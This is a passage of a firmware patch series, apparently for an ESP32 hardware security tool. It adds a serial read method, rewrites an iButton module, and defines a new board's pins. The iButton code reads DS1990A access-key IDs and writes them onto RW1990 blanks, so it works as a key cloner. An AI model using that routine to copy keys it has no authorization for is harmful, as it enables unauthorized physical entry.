From 545fc1bd00d830719eee6493201c7fcdfcf666e8 Mon Sep 17 00:00:00 2001
From: Matt Emerick-Law <matt@emericklaw.co.uk>
Date: Sat, 28 Feb 2026 02:08:25 +0000
Subject: [PATCH 01/73] Add read() method to SerialDevice and BLESerialService

---
 include/SerialDevice.h                          |  1 +
 src/core/USBSerial/USBSerial.h                  |  1 +
 .../ble_api/services/BLESerialService.cpp       | 17 +++++++++++++++++
 src/modules/ble_api/services/BLESerialService.h |  1 +
 4 files changed, 20 insertions(+)

diff --git a/include/SerialDevice.h b/include/SerialDevice.h
index 0735abd14..12f1ae24e 100644
--- a/include/SerialDevice.h
+++ b/include/SerialDevice.h
@@ -13,6 +13,7 @@ class SerialDevice {
     virtual size_t print(int n, int format = DEC) = 0;
     virtual size_t print(const String &s) = 0;
     virtual void vprintf(const char *fmt, va_list args) = 0;
+    virtual int read() = 0;
     virtual size_t write(uint8_t *str, size_t size) = 0;
     void printf(const char *fmt, ...) {
         va_list args;
diff --git a/src/core/USBSerial/USBSerial.h b/src/core/USBSerial/USBSerial.h
index 9b127a01a..81083aa33 100644
--- a/src/core/USBSerial/USBSerial.h
+++ b/src/core/USBSerial/USBSerial.h
@@ -18,6 +18,7 @@ class USBSerial : public SerialDevice {
     void flush() override { out->flush(); }
     int available() override { return out->available(); }
     size_t write(uint8_t *str, size_t size) override { return out->write(str, size); }
+    int read() override { return out->read(); }
     void setSerialOutput(Stream *in) { out = in; }
     Stream *getSerialOutput() { return out; }
     USBSerial(Stream *in = &Serial) { out = in; }
diff --git a/src/modules/ble_api/services/BLESerialService.cpp b/src/modules/ble_api/services/BLESerialService.cpp
index bb6812c4e..bb4b4277e 100644
--- a/src/modules/ble_api/services/BLESerialService.cpp
+++ b/src/modules/ble_api/services/BLESerialService.cpp
@@ -99,6 +99,23 @@ size_t BLESerialService::write(uint8_t *str, size_t size) {
     return size;
 }
 
+int BLESerialService::read() {
+    if (!available()) return -1;
+
+    std::string value = serial_char->getValue();
+    if (value.empty()) return -1;
+
+    char firstChar = value[0];
+    // Remove the first character from the buffer
+    if (value.length() > 1) {
+        serial_char->setValue(value.substr(1));
+    } else {
+        serial_char->setValue("");
+    }
+
+    return (int)firstChar;
+}
+
 void BLESerialService::setMTU(uint16_t mtu) { this->mtu = mtu; }
 
 #endif
diff --git a/src/modules/ble_api/services/BLESerialService.h b/src/modules/ble_api/services/BLESerialService.h
index 6ceb938cb..e1b87f50a 100644
--- a/src/modules/ble_api/services/BLESerialService.h
+++ b/src/modules/ble_api/services/BLESerialService.h
@@ -26,6 +26,7 @@ class BLESerialService : public BruceBLEService, public SerialDevice {
     void vprintf(const char *str, va_list args) override;
     size_t println(uint32_t n) override;
     size_t write(uint8_t *str, size_t size) override;
+    int read() override;
     void flush() override {}
     String readStringUntil(char terminator) override;
     int available() override;

From e523f0bb5be9005488f9e161511d1d3507e7c7a9 Mon Sep 17 00:00:00 2001
From: Aleksandr Chumakov <delfer@bk.ru>
Date: Mon, 16 Mar 2026 19:10:30 +0300
Subject: [PATCH 02/73] feat(iButton): enhance UI/UX and add file save/load
 support

---
 src/modules/others/ibutton.cpp | 470 ++++++++++++++++++++++++---------
 src/modules/others/ibutton.h   |  12 +-
 2 files changed, 361 insertions(+), 121 deletions(-)

diff --git a/src/modules/others/ibutton.cpp b/src/modules/others/ibutton.cpp
index 85b1ad58c..6ebb9420c 100644
--- a/src/modules/others/ibutton.cpp
+++ b/src/modules/others/ibutton.cpp
@@ -2,51 +2,60 @@
 #include "ibutton.h"
 #include "core/display.h"
 #include "core/mykeyboard.h"
+#include "core/sd_functions.h"
 
-#define ONE_WIRE_BUS 0
+// ---------------------------------------------------------------------------
+// State
+// ---------------------------------------------------------------------------
+static OneWire *oneWire = nullptr;
+static byte keyBuffer[8];
+static bool keyLoaded = false;
 
-OneWire *oneWire;
-byte buffer[8];
+// ---------------------------------------------------------------------------
+// Helpers
+// ---------------------------------------------------------------------------
 
-void setup_ibutton() {
-Reset:
-    oneWire = new OneWire(bruceConfigPins.iButton);
-    tft.fillScreen(TFT_BLACK);
-    setiButtonPinMenu();
-    drawMainBorderWithTitle("iButton");
-    tft.setCursor(10, 50);
-    padprintln("Waiting for signal");
-    padprintln("press [Next] to setup");
-    delay(100);
+static String bufferToHexStr(const byte *buf, int len, const char *sep = ":") {
+    String s;
+    for (int i = 0; i < len; i++) {
+        if (buf[i] < 0x10) s += '0';
+        s += String(buf[i], HEX);
+        if (i < len - 1) s += sep;
+    }
+    s.toUpperCase();
+    return s;
+}
 
-    for (;;) {
-        if (check(EscPress)) {
-            returnToMenu = true;
-            delete oneWire;
-            break;
-        }
-        if (check(NextPress)) {
-            setiButtonPinMenu();
-            delete oneWire;
-            goto Reset;
-        }
-        // iButton is plugged
-        if (oneWire->reset() != 0) {
-            // Main Button is pressed
-            if (check(SelPress)) {
-                write_ibutton();
-            } else {
-                read_ibutton();
-            }
-            delay(500);
+static bool bufferCrcValid() { return OneWire::crc8(keyBuffer, 7) == keyBuffer[7]; }
+
+static void displayStatus() {
+    drawMainBorderWithTitle("iButton");
+    if (keyLoaded) {
+        padprintln("UID: " + bufferToHexStr(keyBuffer, 8));
+        if (!bufferCrcValid()) {
+            tft.setTextColor(TFT_RED);
+            padprintln("CRC ERROR!");
+            tft.setTextColor(bruceConfig.priColor);
+        } else {
+            tft.setTextColor(TFT_GREEN);
+            padprintln("CRC OK");
+            tft.setTextColor(bruceConfig.priColor);
         }
+    } else {
+        padprintln("No key in buffer");
     }
+    padprintln("");
+    padprintln("Waiting for iButton...");
+    padprintln("[NEXT] for options");
 }
 
-void write_byte_rw1990(byte data) {
-    int data_bit;
+// ---------------------------------------------------------------------------
+// OneWire RW1990 low-level
+// ---------------------------------------------------------------------------
+
+static void writeByte_RW1990(byte data) {
     uint8_t pin = bruceConfigPins.iButton;
-    for (data_bit = 0; data_bit < 8; data_bit++) {
+    for (int bit = 0; bit < 8; bit++) {
         if (data & 1) {
             digitalWrite(pin, LOW);
             pinMode(pin, OUTPUT);
@@ -60,56 +69,58 @@ void write_byte_rw1990(byte data) {
             digitalWrite(pin, HIGH);
         }
         delay(10);
-        data = data >> 1;
+        data >>= 1;
     }
 }
 
-// Not working (((
-// void write_byte_rw1990(byte data) {
-//     for (int data_bit = 0; data_bit < 8; data_bit++) {
-//         delay(25);
-//         // oneWire->write_bit(~data);
-//         oneWire->write_bit(data & 0x01);
-//         data >>= 1;
-//     }
-// }
-
-void write_ibutton() {
-
-    // Dislay ID
-    tft.fillScreen(TFT_BLACK);
-    drawMainBorderWithTitle("iButton Write");
-    tft.setCursor(11, 50);
-    tft.print("Current buffer:");
-    tft.setCursor(40, 57);
-    for (byte i = 0; i < 8; i++) {
-        tft.print(buffer[i], HEX);
-        tft.print(":");
+// ---------------------------------------------------------------------------
+// Core operations
+// ---------------------------------------------------------------------------
+
+static bool readKey(int maxRetries = 20) {
+    for (int attempt = 0; attempt < maxRetries; attempt++) {
+        if (check(EscPress)) return false;
+        if (oneWire->reset() == 0) return false;
+
+        oneWire->write(0x33);
+        oneWire->read_bytes(keyBuffer, 8);
+
+        if (bufferCrcValid()) {
+            keyLoaded = true;
+            return true;
+        }
+
+        tft.fillScreen(bruceConfig.bgColor);
+        drawMainBorderWithTitle("iButton");
+        padprintln("Reading... attempt " + String(attempt + 2));
+        padprintln("CRC mismatch, retrying...");
+        padprintln("");
+        padprintln("Keep key on the contact!");
+        delay(100);
     }
-    delay(1000);
-    tft.setCursor(52, 102);
-    tft.print("Wait...");
-    tft.setCursor(110, 102);
 
-    tft.print('-');
+    // Retries exhausted — still store what we got
+    keyLoaded = true;
+    return false;
+}
+
+static void writeKey() {
+    uint8_t pin = bruceConfigPins.iButton;
+
     oneWire->skip();
     oneWire->reset();
-    oneWire->write(0x33); // Read ROM
+    oneWire->write(0x33);
 
     oneWire->skip();
     oneWire->reset();
-    oneWire->write(0x3C); // Set write mode for some models
-    tft.print('-');
+    oneWire->write(0x3C);
     delay(50);
 
     oneWire->skip();
     oneWire->reset();
-    oneWire->write(0xD1); // Write command
-    tft.print('-');
+    oneWire->write(0xD1);
     delay(50);
 
-    // Write don't work without this code
-    uint8_t pin = bruceConfigPins.iButton;
     digitalWrite(pin, LOW);
     pinMode(pin, OUTPUT);
     delayMicroseconds(60);
@@ -119,81 +130,302 @@ void write_ibutton() {
 
     oneWire->skip();
     oneWire->reset();
-    oneWire->write(0xD5); // Enter write mode
-    tft.print('-');
+    oneWire->write(0xD5);
     delay(50);
-    tft.print('>');
+
     for (byte i = 0; i < 8; i++) {
-        write_byte_rw1990(buffer[i]); // Write each byte
-        tft.print('*');
+        writeByte_RW1990(keyBuffer[i]);
         delayMicroseconds(25);
     }
-    oneWire->reset(); // Reset bus
-    oneWire->skip();
 
-    // Step 3 : Finalise
-    oneWire->write(0xD1); // End of write command
+    oneWire->reset();
+    oneWire->skip();
+    oneWire->write(0xD1);
     delayMicroseconds(16);
-    oneWire->reset(); // Reset bus
+    oneWire->reset();
+}
 
-    // Display end of copy
-    tft.fillScreen(TFT_BLACK);
-    tft.setCursor(90, 50);
-    tft.setTextSize(FM);
-    displayTextLine("COPIED");
-    tft.setCursor(40, 80);
-    tft.print("Release button");
+// ---------------------------------------------------------------------------
+// File I/O
+// ---------------------------------------------------------------------------
 
-    delay(3000);
+static const char *IBUTTON_DIR = "/BruceIButton";
 
-    tft.fillScreen(TFT_BLACK);
-    drawMainBorderWithTitle("iButton");
-    tft.setCursor(10, 60);
-    displayTextLine("Waiting iButton...");
+static IButtonResult saveKey() {
+    FS *fs;
+    if (!getFsStorage(fs)) return IBUTTON_FAILURE;
+    if (!fs->exists(IBUTTON_DIR)) fs->mkdir(IBUTTON_DIR);
+
+    char fname[48];
+    snprintf(
+        fname,
+        sizeof(fname),
+        "%s/%02X%02X%02X%02X%02X%02X.ibtn",
+        IBUTTON_DIR,
+        keyBuffer[0],
+        keyBuffer[1],
+        keyBuffer[2],
+        keyBuffer[3],
+        keyBuffer[4],
+        keyBuffer[5]
+    );
+
+    String path = fname;
+    if (fs->exists(path)) {
+        int n = 1;
+        String base = path.substring(0, path.lastIndexOf('.'));
+        do { path = base + "_" + String(n++) + ".ibtn"; } while (fs->exists(path));
+    }
+
+    File file = fs->open(path, FILE_WRITE);
+    if (!file) return IBUTTON_FAILURE;
+
+    file.println("Filetype: Bruce iButton File");
+    file.println("Version 1");
+    file.println("Device type: DS1990A");
+    file.print("UID: ");
+    file.println(bufferToHexStr(keyBuffer, 8, " "));
+    file.print("CRC: ");
+    if (keyBuffer[7] < 0x10) file.print('0');
+    file.println(keyBuffer[7], HEX);
+
+    file.close();
+    return IBUTTON_SUCCESS;
 }
 
-void read_ibutton() {
-    oneWire->write(0x33);           // Read ID command
-    oneWire->read_bytes(buffer, 8); // Read ID
+static IButtonResult loadKey() {
+    FS *fs;
+    if (!getFsStorage(fs)) return IBUTTON_FAILURE;
 
-    // Display iButton
-    tft.fillScreen(TFT_BLACK);
-    drawMainBorderWithTitle("iButton ID");
+    String filepath = loopSD(*fs, true, "ibtn", IBUTTON_DIR);
+    if (filepath.length() == 0) return IBUTTON_FAILURE;
 
-    // Dislay ID
-    tft.setTextSize(1.75);
-    tft.setCursor(12, 57);
-    for (byte i = 0; i < 8; i++) {
-        tft.print(buffer[i], HEX);
-        tft.print(":");
+    File file = fs->open(filepath, FILE_READ);
+    if (!file) return IBUTTON_FAILURE;
+
+    byte tmp[8];
+    bool found = false;
+
+    while (file.available()) {
+        String line = file.readStringUntil('\n');
+        line.trim();
+        if (!line.startsWith("UID:")) continue;
+
+        String hex = line.substring(line.indexOf(':') + 1);
+        hex.trim();
+        hex.replace(" ", "");
+        if (hex.length() != 16) continue;
+
+        for (int i = 0; i < 8; i++) tmp[i] = strtoul(hex.substring(i * 2, i * 2 + 2).c_str(), NULL, 16);
+        found = true;
+        break;
+    }
+    file.close();
+
+    if (!found) return IBUTTON_FAILURE;
+
+    memcpy(keyBuffer, tmp, 8);
+    keyLoaded = true;
+    return bufferCrcValid() ? IBUTTON_SUCCESS : IBUTTON_CRC_ERROR;
+}
+
+// ---------------------------------------------------------------------------
+// Menu actions
+// ---------------------------------------------------------------------------
+
+enum MenuAction {
+    ACTION_WRITE,
+    ACTION_SAVE,
+    ACTION_LOAD,
+    ACTION_RESET,
+    ACTION_SETUP_PIN,
+    ACTION_CLOSE,
+    ACTION_MAIN_MENU,
+};
+
+static bool returnFromMenu = false;
+static bool restartNeeded = false;
+static MenuAction selectedAction;
+
+static void setAction(MenuAction a) { selectedAction = a; }
+
+static void doWrite() {
+    if (!keyLoaded) {
+        displayError("No key in buffer", true);
+        delay(1500);
+        return;
+    }
+
+    tft.fillScreen(bruceConfig.bgColor);
+    drawMainBorderWithTitle("Write iButton");
+    padprintln("UID: " + bufferToHexStr(keyBuffer, 8));
+    padprintln("");
+    padprintln("Touch blank key to writer...");
+    padprintln("[Esc] Cancel");
+
+    while (oneWire->reset() == 0) {
+        if (check(EscPress)) return;
+        delay(50);
+    }
+
+    writeKey();
+    displaySuccess("Key written!");
+    delay(1500);
+}
+
+static void doSave() {
+    if (!keyLoaded) {
+        displayError("No key in buffer", true);
+        delay(1500);
+        return;
     }
+    IButtonResult r = saveKey();
+    if (r == IBUTTON_SUCCESS) displaySuccess("Saved");
+    else displayError("Save failed", true);
+    delay(1500);
+}
 
-    if (OneWire::crc8(buffer, 7) != buffer[7]) {
-        tft.setCursor(55, 85);
-        tft.setTextSize(FM);
-        tft.setTextColor(TFT_RED);
-        tft.println("CRC ERROR!");
+static void doLoad() {
+    IButtonResult r = loadKey();
+    if (r == IBUTTON_SUCCESS) {
+        displaySuccess("Key loaded");
+        delay(1000);
+    } else if (r == IBUTTON_CRC_ERROR) {
+        displayWarning("Loaded (CRC mismatch)", true);
+        delay(1500);
     } else {
-        // Display copy infos
-        tft.setCursor(55, 85);
-        tft.setTextSize(1.5);
-        tft.println("Hold OK to copy");
+        displayError("Load failed", true);
+        delay(1500);
+    }
+}
+
+static void doReset() {
+    memset(keyBuffer, 0, sizeof(keyBuffer));
+    keyLoaded = false;
+    displaySuccess("Buffer cleared");
+    delay(1000);
+}
+
+static void selectMenuOption() {
+    options = {};
+
+    if (keyLoaded) {
+        options.emplace_back("Write to key", []() { setAction(ACTION_WRITE); });
+        options.emplace_back("Save to file", []() { setAction(ACTION_SAVE); });
+    }
+
+    options.emplace_back("Load from file", []() { setAction(ACTION_LOAD); });
+
+    if (keyLoaded) {
+        options.emplace_back("Reset buffer", []() { setAction(ACTION_RESET); });
+    }
+
+    options.emplace_back("Setup pin", []() { setAction(ACTION_SETUP_PIN); });
+    options.emplace_back("Close menu", []() { setAction(ACTION_CLOSE); });
+    options.emplace_back("Main menu", []() { setAction(ACTION_MAIN_MENU); });
+
+    selectedAction = ACTION_CLOSE;
+    loopOptions(options);
+    options.clear();
+
+    switch (selectedAction) {
+        case ACTION_WRITE: doWrite(); break;
+        case ACTION_SAVE: doSave(); break;
+        case ACTION_LOAD: doLoad(); break;
+        case ACTION_RESET: doReset(); break;
+        case ACTION_SETUP_PIN: restartNeeded = true; return;
+        case ACTION_MAIN_MENU: returnFromMenu = true; return;
+        case ACTION_CLOSE: break;
+    }
+}
+
+// ---------------------------------------------------------------------------
+// Public entry point
+// ---------------------------------------------------------------------------
+
+void setup_ibutton() {
+    returnFromMenu = false;
+    restartNeeded = false;
+    keyLoaded = false;
+
+Restart:
+    if (oneWire) delete oneWire;
+    oneWire = new OneWire(bruceConfigPins.iButton);
+
+    tft.fillScreen(bruceConfig.bgColor);
+    displayStatus();
+
+    for (;;) {
+        if (check(EscPress) || returnFromMenu) {
+            returnToMenu = true;
+            break;
+        }
+
+        if (check(NextPress)) {
+            selectMenuOption();
+            if (returnFromMenu) {
+                returnToMenu = true;
+                break;
+            }
+            if (restartNeeded) {
+                restartNeeded = false;
+                setiButtonPinMenu();
+                goto Restart;
+            }
+            tft.fillScreen(bruceConfig.bgColor);
+            displayStatus();
+        }
+
+        // Auto-read when iButton touches the probe
+        if (oneWire->reset() != 0) {
+            bool ok = readKey();
+            tft.fillScreen(bruceConfig.bgColor);
+
+            if (ok) {
+                displayStatus();
+                padprintln("");
+                tft.setTextColor(TFT_GREEN);
+                padprintln("Key read successfully!");
+                tft.setTextColor(bruceConfig.priColor);
+            } else if (keyLoaded) {
+                // Read failed CRC but we have data
+                displayStatus();
+                padprintln("");
+                tft.setTextColor(TFT_YELLOW);
+                padprintln("Read with CRC errors");
+                tft.setTextColor(bruceConfig.priColor);
+            } else {
+                displayStatus();
+            }
+
+            // Wait for key removal to avoid re-reading in a loop
+            while (oneWire->reset() != 0) {
+                if (check(EscPress)) break;
+                delay(100);
+            }
+        }
+
+        delay(50);
     }
+
+    delete oneWire;
+    oneWire = nullptr;
 }
 
-/*********************************************************************
-**  Function: setiButtonPin
-**  Main Menu to manually iButton Pin
-**********************************************************************/
+// ---------------------------------------------------------------------------
+// Pin selection menu
+// ---------------------------------------------------------------------------
+
 void setiButtonPinMenu() {
     options = {};
     gpio_num_t sel = GPIO_NUM_NC;
     for (int8_t i = -1; i <= GPIO_NUM_MAX; i++) {
-        String tmp = "GPIO " + String(i);
-        options.push_back({tmp.c_str(), [i, &sel]() { sel = (gpio_num_t)i; }});
+        String label = "GPIO " + String(i);
+        options.push_back({label.c_str(), [i, &sel]() { sel = (gpio_num_t)i; }});
     }
     loopOptions(options, bruceConfigPins.iButton + 1);
     options.clear();
     bruceConfigPins.setiButtonPin(sel);
 }
+
 #endif
diff --git a/src/modules/others/ibutton.h b/src/modules/others/ibutton.h
index 0b579280e..7dc21564e 100644
--- a/src/modules/others/ibutton.h
+++ b/src/modules/others/ibutton.h
@@ -1,8 +1,16 @@
 #ifndef LITE_VERSION
+#pragma once
+
 #include <OneWire.h>
 
+enum IButtonResult {
+    IBUTTON_SUCCESS = 0,
+    IBUTTON_FAILURE,
+    IBUTTON_NO_KEY,
+    IBUTTON_CRC_ERROR,
+};
+
 void setup_ibutton();
-void write_ibutton();
-void read_ibutton();
 void setiButtonPinMenu();
+
 #endif

From 0b944145a7a9eeb639d622db6fbfbca2f89fc9af Mon Sep 17 00:00:00 2001
From: RockBase-Ronnie <rockbase2026@126.com>
Date: Wed, 18 Mar 2026 11:33:43 +0800
Subject: [PATCH 03/73] Add new board nm-cyd-c5, tested with nm-rf-hat.

---
 boards/nm-cyd-c5/connections.md |  39 +++++++
 boards/nm-cyd-c5/interface.cpp  | 174 ++++++++++++++++++++++++++++++++
 boards/nm-cyd-c5/nm-cyd-c5.ini  |  58 +++++++++++
 boards/nm-cyd-c5/pins_arduino.h | 146 +++++++++++++++++++++++++++
 boards/pinouts/pins_arduino.h   |   2 +
 platformio.ini                  |   7 +-
 src/core/config.h               |   2 +-
 src/modules/gps/gps_tracker.cpp |   1 +
 src/modules/gps/wardriving.cpp  |   1 +
 9 files changed, 426 insertions(+), 4 deletions(-)
 create mode 100644 boards/nm-cyd-c5/connections.md
 create mode 100644 boards/nm-cyd-c5/interface.cpp
 create mode 100644 boards/nm-cyd-c5/nm-cyd-c5.ini
 create mode 100644 boards/nm-cyd-c5/pins_arduino.h

diff --git a/boards/nm-cyd-c5/connections.md b/boards/nm-cyd-c5/connections.md
new file mode 100644
index 000000000..300b4a8ab
--- /dev/null
+++ b/boards/nm-cyd-c5/connections.md
@@ -0,0 +1,39 @@
+# Pinouts diagram to use Bruce
+
+## USING NM-CYD-C5, with SPI / CC1101 and NRF24 work with NM-RF-HAT
+
+| Device  | SCK   | MISO  | MOSI  | CS    | GDO0/CE | TFT_DC | TFT_RST | TFT_BL |
+| ---     | :---: | :---: | :---: | :---: | :---:   | :---:  | :---:   | :---:  |
+| Display | 6     | 2     | 7     | 23    | ---     | 24     | C5 RST  | 25     |
+| SD Card | 6     | 2     | 7     | 10    | ---     | ---    |  ---    | ---    |
+| CC1101  | 6     | 2     | 7     | 9*    | 8*      | ---    |  ---    | ---    |
+| NRF24   | 6     | 2     | 7     | 9*    | 8*      | ---    |  ---    | ---    |
+
+(*) CC1101, NRF24, W5500 use the same pinouts, need to add a switch on CS and CE/GDO0 to choose which to use.
+
+
+If using ST7789 with XPT2046 fo touchscreen, in this case you have 2 GPIO available (0 and 28) to use on CC1101/NRF24
+| Device  | SCK   | MISO  | MOSI  | CS    | IRQ   |
+| ---     | :---: | :---: | :---: | :---: | :---: |
+| Display | 6     | 2     | 7     | 23    | ---   |
+| Touch   | 6     | 2     | 7     | 1     | ---   |
+
+
+| Device  | RX    | TX    | GPIO  |
+| ---     | :---: | :---: | :---: |
+| GPS     | 4     | 5     | ---   |
+| IR RX   |  ---  | ---   | 9     |
+| IR TX   |  ---  | ---   | 8     |
+| LED     |  ---  | ---   | 27    |
+| 433 RX  |  ---  | ---   | 9     |
+| 433 TX  |  ---  | ---   | 8     |
+
+ESP32-C5 doesn't support USB-OTG, for BadUSB you need to use a CH9329 module
+
+FM Radio, PN532 on I2C, other I2C devices, CH9329, Temperature and humidity sensor: BME280.
+I2C SDA: 9
+I2C SCL: 8
+
+Serial interface to other devices (Flipper) - USB TypeC interface on NM-CYD-C5
+Serial Tx: 11
+Serial Rx: 12
diff --git a/boards/nm-cyd-c5/interface.cpp b/boards/nm-cyd-c5/interface.cpp
new file mode 100644
index 000000000..46a6144fc
--- /dev/null
+++ b/boards/nm-cyd-c5/interface.cpp
@@ -0,0 +1,174 @@
+#include "core/powerSave.h"
+#include "core/utils.h"
+#include <interface.h>
+
+/***************************************************************************************
+** Function name: _setup_gpio()
+** Location: main.cpp
+** Description:   initial setup for the device
+***************************************************************************************/
+void _setup_gpio() {
+
+    pinMode(TFT_CS, OUTPUT);
+    digitalWrite(TFT_CS, HIGH);
+    pinMode(TFT_MOSI, OUTPUT);
+    digitalWrite(TFT_MOSI, HIGH);
+    pinMode(TFT_SCLK, OUTPUT);
+
+    pinMode(TFT_BL, OUTPUT);
+    digitalWrite(TFT_BL, HIGH);
+    pinMode(TFT_RST, OUTPUT);
+    pinMode(TFT_DC, OUTPUT);
+    digitalWrite(TFT_DC, HIGH);
+
+#ifdef HAS_3_BUTTONS
+    pinMode(UP_BTN, INPUT_PULLUP); // Sets the power btn as an INPUT
+    pinMode(SEL_BTN, INPUT_PULLUP);
+    pinMode(DW_BTN, INPUT_PULLUP);
+#endif
+    pinMode(NRF24_SS_PIN, OUTPUT);
+    pinMode(CC1101_SS_PIN, OUTPUT);
+    pinMode(SDCARD_CS, OUTPUT);
+    pinMode(W5500_SS_PIN, OUTPUT);
+    pinMode(TFT_CS, OUTPUT);
+
+    digitalWrite(NRF24_SS_PIN, HIGH);
+    digitalWrite(CC1101_SS_PIN, HIGH);
+    digitalWrite(SDCARD_CS, HIGH);
+    digitalWrite(W5500_SS_PIN, HIGH);
+    digitalWrite(TFT_CS, HIGH);
+#ifdef ST7789_DRIVER
+    bruceConfig.colorInverted = 0;
+#endif
+#ifdef ILI9341_DRIVER
+    bruceConfig.colorInverted = 0;
+#endif
+}
+/***************************************************************************************
+** Function name: _post_setup_gpio()
+** Location: main.cpp
+** Description:   second stage gpio setup to make a few functions work
+***************************************************************************************/
+void _post_setup_gpio() {
+#ifdef HAS_TOUCH
+    pinMode(TOUCH_CS, OUTPUT);
+    uint16_t calData[5] = {225, 3413, 403, 3334, 1};
+    tft.setTouch(calData);
+#endif
+    bruceConfigPins.gps_bus.rx = (gpio_num_t)GPS_SERIAL_RX;
+    bruceConfigPins.gps_bus.tx = (gpio_num_t)GPS_SERIAL_TX;
+    bruceConfigPins.gpsBaudrate = 9600;
+    bruceConfigPins.rfTx = 8;
+    bruceConfigPins.rfRx = 9;
+}
+
+/***************************************************************************************
+** Function name: getBattery()
+** location: display.cpp
+** Description:   Delivers the battery value from 1-100
+***************************************************************************************/
+int getBattery() { return 0; }
+
+/***************************************************************************************
+** Function name: isCharging()
+** Description:   Default implementation that returns false
+***************************************************************************************/
+bool isCharging() { return false; }
+
+/*********************************************************************
+** Function: setBrightness
+** location: settings.cpp
+** set brightness value
+**********************************************************************/
+void _setBrightness(uint8_t brightval) {
+    if (brightval == 0) {
+        analogWrite(TFT_BL, brightval);
+    } else {
+        int bl = MINBRIGHT + round(((255 - MINBRIGHT) * brightval / 100));
+        analogWrite(TFT_BL, bl);
+    }
+}
+
+/*********************************************************************
+** Function: InputHandler
+** Handles the variables PrevPress, NextPress, SelPress, AnyKeyPress and EscPress
+**********************************************************************/
+void InputHandler(void) {
+    static unsigned long tm = 0;
+    if (millis() - tm < 200 && !LongPress) return;
+#ifdef HAS_TOUCH
+    TouchPoint t;
+    checkPowerSaveTime();
+    bool _IH_touched = tft.getTouch(&t.x, &t.y);
+    if (_IH_touched) {
+        NextPress = false;
+        PrevPress = false;
+        UpPress = false;
+        DownPress = false;
+        SelPress = false;
+        EscPress = false;
+        AnyKeyPress = false;
+        NextPagePress = false;
+        PrevPagePress = false;
+        touchPoint.pressed = false;
+        _IH_touched = false;
+        Serial.printf("\nRAW: Touch Pressed on x=%d, y=%d", t.x, t.y);
+        if (bruceConfigPins.rotation == 3) {
+            t.y = (tftHeight + 20) - t.y;
+            t.x = tftWidth - t.x;
+        }
+        if (bruceConfigPins.rotation == 0) {
+            uint16_t tmp = t.x;
+            t.x = map((tftHeight + 20) - t.y, 0, 320, 0, 240);
+            t.y = map(tmp, 0, 240, 0, 320);
+        }
+        if (bruceConfigPins.rotation == 2) {
+            uint16_t tmp = t.x;
+            t.x = map(t.y, 0, 320, 0, 240);
+            t.y = map(tftWidth - tmp, 0, 240, 0, 320);
+        }
+
+        Serial.printf("\nROT: Touch Pressed on x=%d, y=%d, rot=%d\n", t.x, t.y, bruceConfigPins.rotation);
+
+        if (!wakeUpScreen()) AnyKeyPress = true;
+        else return;
+
+        // Touch point global variable
+        touchPoint.x = t.x;
+        touchPoint.y = t.y;
+        touchPoint.pressed = true;
+        touchHeatMap(touchPoint);
+        tm = millis();
+    }
+
+#endif
+#ifdef HAS_3_BUTTONS
+    bool upPressed = (digitalRead(UP_BTN) == LOW);
+    bool selPressed = (digitalRead(SEL_BTN) == LOW);
+    bool dwPressed = (digitalRead(DW_BTN) == LOW);
+
+    bool anyPressed = upPressed || selPressed || dwPressed;
+    if (anyPressed) tm = millis();
+    if (anyPressed && wakeUpScreen()) return;
+
+    AnyKeyPress = anyPressed;
+    PrevPress = upPressed;
+    EscPress = upPressed && dwPressed;
+    NextPress = dwPressed;
+    SelPress = selPressed;
+#endif
+}
+
+/*********************************************************************
+** Function: powerOff
+** location: mykeyboard.cpp
+** Turns off the device (or try to)
+**********************************************************************/
+void powerOff() {}
+
+/*********************************************************************
+** Function: checkReboot
+** location: mykeyboard.cpp
+** Btn logic to turnoff the device (name is odd btw)
+**********************************************************************/
+void checkReboot() {}
diff --git a/boards/nm-cyd-c5/nm-cyd-c5.ini b/boards/nm-cyd-c5/nm-cyd-c5.ini
new file mode 100644
index 000000000..7bdd0c80e
--- /dev/null
+++ b/boards/nm-cyd-c5/nm-cyd-c5.ini
@@ -0,0 +1,58 @@
+; PlatformIO Project Configuration File
+;
+;   Build options: build flags, source filter
+;   Upload options: custom upload port, speed and extra flags
+;   Library options: dependencies, extra library storages
+;   Advanced options: extra scripting
+;
+; Please visit documentation for the other options and examples
+; https://docs.platformio.org/page/projectconf.html
+
+[env:nm-cyd-c5]
+board = esp32-c5-devkitc-1
+board_build.partitions = custom_8Mb.csv
+build_src_filter =${env.build_src_filter} +<../boards/nm-cyd-c5>
+build_flags =
+	${env.build_flags}
+	-Iboards/nm-cyd-c5
+	-DDEVICE_NAME='"ESP32-C5"'
+	-DNM_CYD_ESP32C5=1
+	-DBOARD_HAS_PSRAM=1
+	-DARDUINO_USB_CDC_ON_BOOT=1
+	-DARDUINO_USB_MODE=1
+	-DCORE_DEBUG_LEVEL=1
+	-DHAS_TOUCH=1
+	-DROTATION=3
+
+	-DGPS_SERIAL_TX=5
+	-DGPS_SERIAL_RX=4
+	; grove pins
+	; defaults from https://github.com/espressif/arduino-esp32/blob/master/variants/esp32s3/pins_arduino.h
+	-DGROVE_SDA=8  ; default RF TX pin
+	-DGROVE_SCL=9  ; default IR/RF RX pin
+	;-DALLOW_ALL_GPIO_FOR_IR_RF=1 ; Set this option to make use of all GPIOs, from 1 to 44 to be chosen, except TFT and SD pins
+
+	; ir led pin
+	-DIR_TX_PINS='{{"Pin 9", 9}, {"Pin 8", 8}}'
+	-DIR_RX_PINS='{{"Pin 9", 9}, {"Pin 8", 8}}'
+	-DLED_ON=HIGH
+	-DLED_OFF=LOW
+
+	;Radio Frequency (one pin modules) pin setting
+	-DRF_TX_PINS='{{"Pin 9", 9}, {"Pin 8", 8}}'
+	-DRF_RX_PINS='{{"Pin 9", 9}, {"Pin 8", 8}}'
+
+	; text sizes
+	-DFP=1
+	-DFM=2
+	-DFG=3
+	; ui control buttons
+	;-DSEL_BTN=1
+	;-DUP_BTN=2  ; also work as ESC
+	;-DDW_BTN=3  ; also work as NEXT
+	-DBTN_ALIAS='"OK"'
+
+	;FM Radio
+	-DFM_SI4713=1 ;Uncomment to activate FM Radio using Adafruit Si4713
+
+
diff --git a/boards/nm-cyd-c5/pins_arduino.h b/boards/nm-cyd-c5/pins_arduino.h
new file mode 100644
index 000000000..53ffb73a8
--- /dev/null
+++ b/boards/nm-cyd-c5/pins_arduino.h
@@ -0,0 +1,146 @@
+#ifndef Pins_Arduino_h
+#define Pins_Arduino_h
+
+#include "soc/soc_caps.h"
+#include <stdint.h>
+
+#define PIN_RGB_LED 27
+// BUILTIN_LED can be used in new Arduino API digitalWrite() like in Blink.ino
+static const uint8_t LED_BUILTIN = SOC_GPIO_PIN_COUNT + PIN_RGB_LED;
